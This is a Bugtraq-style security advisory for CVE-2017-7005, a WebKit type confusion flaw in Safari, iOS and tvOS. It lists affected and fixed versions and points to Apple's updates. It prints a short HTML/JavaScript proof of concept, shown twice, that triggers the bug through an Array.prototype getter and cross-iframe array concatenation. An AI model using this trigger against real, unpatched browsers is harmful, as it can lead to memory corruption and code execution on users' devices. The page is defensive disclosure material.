WebKit CVE-2017-7005 Type Confusion Remote Code Execution Vulnerability
BID:99115
Info
WebKit CVE-2017-7005 Type Confusion Remote Code Execution Vulnerability
| Bugtraq ID: | 99115 |
| Class: | Input Validation Error |
| CVE: |
CVE-2017-7005 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 09 2017 12:00AM |
| Updated: | Jun 09 2017 12:00AM |
| Credit: | lokihardt of Google Project Zero. |
| Vulnerable: |
Apple WebKit 0 Apple tvOS 10.1.1 Apple tvOS 10.0.1 Apple tvOS 9.2.2 Apple tvOS 9.2.1 Apple tvOS 9.1.1 Apple tvOS 9.2 Apple tvOS 9.1 Apple tvOS 9.0 Apple tvOS 10.2 Apple tvOS 10.1 Apple tvOS 10 Apple Safari 10.0.1 Apple Safari 9.1.3 Apple Safari 9.1.2 Apple Safari 9.1.1 Apple Safari 9.0.3 Apple Safari 9.0.2 Apple Safari 9.0.1 Apple Safari 8.0.8 Apple Safari 8.0.6 Apple Safari 8.0.5 Apple Safari 8.0.4 Apple Safari 8.0.1 Apple Safari 7.1.8 Apple Safari 7.1.6 Apple Safari 7.1.5 Apple Safari 7.1.4 Apple Safari 7.1.1 Apple Safari 7.1 Apple Safari 7.0.6 Apple Safari 7.0.3 Apple Safari 7.0.1 Apple Safari 6.2.8 Apple Safari 6.2.6 Apple Safari 6.2.5 Apple Safari 6.2.4 Apple Safari 6.2.1 Apple Safari 6.1.6 Apple Safari 6.1.3 Apple Safari 6.1.1 Apple Safari 6.0.5 Apple Safari 6.0.4 Apple Safari 6.0.3 Apple Safari 6.0.2 Apple Safari 6.0.1 Apple Safari 5.1.10 Apple Safari 5.1.5 Apple Safari 5.0.6 Apple Safari 4.0.4 Apple Safari 4.0.3 Apple Safari 4.0.2 Apple Safari 4.0.1 Apple Safari 3.1.1 Apple Safari 2.0.4 Apple Safari 2.0.3 Apple Safari 2.0.2 Apple Safari 2.0.1 Apple Safari 1.3.2 Apple Safari 1.3.1 Apple Safari 1.3 Apple Safari 1.2.3 Apple Safari 1.2.2 Apple Safari 1.2.1 Apple Safari 1.2 Apple Safari 1.1 Apple Safari 9.1 Apple Safari 9 Apple Safari 8.0.7 Apple Safari 8.0.3 Apple Safari 8.0.2 Apple Safari 8.0 Apple Safari 7.1.7 Apple Safari 7.1.3 Apple Safari 7.1.2 Apple Safari 7.1 Apple Safari 7.0.5 Apple Safari 7.0.4 Apple Safari 7.0.2 Apple Safari 7.0 Apple Safari 6.2.7 Apple Safari 6.2.3 Apple Safari 6.2.2 Apple Safari 6.2 Apple Safari 6.1.5 Apple Safari 6.1.4 Apple Safari 6.1.2 Apple Safari 6.1 Apple Safari 5.1.4 Apple Safari 5.1.3 Apple Safari 5.1.2 Apple Safari 5.1 Apple Safari 5.0.5 Apple Safari 5.0.4 Apple Safari 5.0.3 Apple Safari 5.0.2 Apple Safari 5.0.1 Apple Safari 5.0 Apple Safari 4.31 Apple Safari 4.30 Apple Safari 4.28 Apple Safari 4.0 Apple Safari 3.1 Apple Safari 10.1 Apple Safari 10.0.3 Apple Safari 10.0.2 Apple Safari 10 Apple iPod Touch 0 Apple iPhone 0 Apple iPad 0 Apple iOS 5 0 Apple iOS 4 0 Apple iOS 3 0 Apple iOS 10.2.1 Apple iOS 10.0.1 Apple iOS 7.2 Apple iOS 7.0.6 Apple iOS 7.0.5 Apple iOS 7.0.3 Apple iOS 7.0.2 Apple iOS 7.0.1 Apple iOS 6.3.1 Apple iOS 6.1.6 Apple iOS 6.1.4 Apple iOS 6.1.3 Apple iOS 4.2.1 Apple iOS 4.0.2 Apple iOS 4.0.1 Apple iOS 3.2.2 Apple iOS 3.2.1 Apple iOS 8.1.1 Apple iOS 8.1 Apple iOS 8 Apple iOS 7.1.2 Apple iOS 7.1.1 Apple iOS 7.1 Apple iOS 7.0.4 Apple iOS 7 Apple iOS 6.1 Apple iOS 6.0.2 Apple iOS 6.0.1 Apple iOS 6 Apple iOS 5.1.1 Apple iOS 5.1 Apple iOS 5.0.1 Apple iOS 5 Apple iOS 4.3.5 Apple iOS 4.3.4 Apple iOS 4.3.3 Apple iOS 4.3.2 Apple iOS 4.3.1 Apple iOS 4.3 Apple iOS 4.2.9 Apple iOS 4.2.8 Apple iOS 4.2.7 Apple iOS 4.2.6 Apple iOS 4.2.5 Apple iOS 4.2.10 Apple iOS 4.2 Apple iOS 4.1 Apple iOS 4 Apple iOS 3.2 Apple iOS 3.1 Apple iOS 3.0 Apple iOS 2.1 Apple iOS 2.0 Apple iOS 10.3.1 Apple iOS 10.3 Apple iOS 10.2 Apple iOS 10.1 Apple iOS 10 |
| Not Vulnerable: |
Apple tvOS 10.2.1 Apple Safari 10.1.1 Apple iOS 10.3.2 |
Exploit / POC
WebKit CVE-2017-7005 Type Confusion Remote Code Execution Vulnerability
The following example data is available:
<html>
<body>
<script>
Array.prototype.__defineGetter__(100, () => 1);
let f = document.body.appendChild(document.createElement('iframe'));
let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320);
let b = new f.contentWindow.Array(2.3023e-320, 2.3023e-320);
let c = Array.prototype.concat.call(a, b);
alert(c);
</script>
</body>
</html>
The following example data is available:
<html>
<body>
<script>
Array.prototype.__defineGetter__(100, () => 1);
let f = document.body.appendChild(document.createElement('iframe'));
let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320);
let b = new f.contentWindow.Array(2.3023e-320, 2.3023e-320);
let c = Array.prototype.concat.call(a, b);
alert(c);
</script>
</body>
</html>
Solution / Fix
WebKit CVE-2017-7005 Type Confusion Remote Code Execution Vulnerability
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
WebKit CVE-2017-7005 Type Confusion Remote Code Execution Vulnerability
References:
References:
- Apple Home Page (Apple)
- About the security content of iOS 10.3.2 (Apple)
- About the security content of Safari 10.1.1 (Apple)
- About the security content of tvOS 10.2.1 (Apple)